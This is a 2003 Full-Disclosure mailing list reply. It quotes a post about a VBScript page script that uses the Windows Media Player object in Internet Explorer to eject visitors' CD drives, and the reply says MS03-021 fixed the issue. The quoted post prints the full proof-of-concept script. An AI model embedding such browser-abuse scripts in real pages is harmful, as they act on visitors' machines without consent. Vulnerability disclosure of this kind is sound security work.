they fixed it with MS03-021 alongside some other issues http://archives.neohapsis.com/archives/fulldisclosure/2003-q2/1765.html
----- Original Message ----- From: "Lorenzo Hernandez Garcia-Hierro" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Cc: <[EMAIL PROTECTED]> Sent: Friday, October 10, 2003 11:12 PM Subject: [Full-Disclosure] Ejecting CDs with VBScript ( Online Exploit ) > Hi friends, > I'm not very happy with this , i have done an online test for eject cds in a > MS Internet Explorer > and i have tested it in all the computers of my house but i was surprised > when i checked that the > last version of MSIE allows the execution of the script in the following > sec. zones: > . LOCAL/INTRANET > . REMOTE/INTERNET > I tested it in default values and the exploit is executed , i edited the > values and again it was > executed. > Am i discovering a new vulnerability in MS Internet Explorer ? > I'm not sure because there are lots of known holes in MSIE. > Suggestions and help is completely welcome. > The best regards, > PS: This is the code of the exploit: > ----------------- > <SCRIPT LANGUAGE=VBSCRIPT> > rem -------------------------------------- > rem No Secure Root Group Security Research > rem Coder: Trulux / Lorenzo Hdez G-H > rem -------------------------------------- > rem http://www.nsrg-security.com > rem -------------------------------------- > rem -> CREATE WINDOWS MEDIA PLAYER OBJECT > rem - > Set LARRYINTHEWILD = CreateObject("WMPlayer.OCX.7" ) > rem - > rem -> SETTING SOME VARIABLES FOR EJECT CD UNITS > rem - > Set RIAAsaysBLAH = LARRYINTHEWILD.cdromCollection > rem - > rem -> EJECTING ROUTINE > rem - > if RIAAsaysBLAH.Count >= 1 then > For i = 0 to RIAAsaysBLAH.Count - 1 > RIAAsaysBLAH.Item(i).Eject > Next ' cdrom > End If > rem -> END > </SCRIPT> > -------------- > > NOTE: i don't know if this is a known security hole , if this was > discovered before , i'm sorry ( and a little sad :-( ). > you can test it online: > http://test-zone.nsrg-security.com/browser/msie/cdrom > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
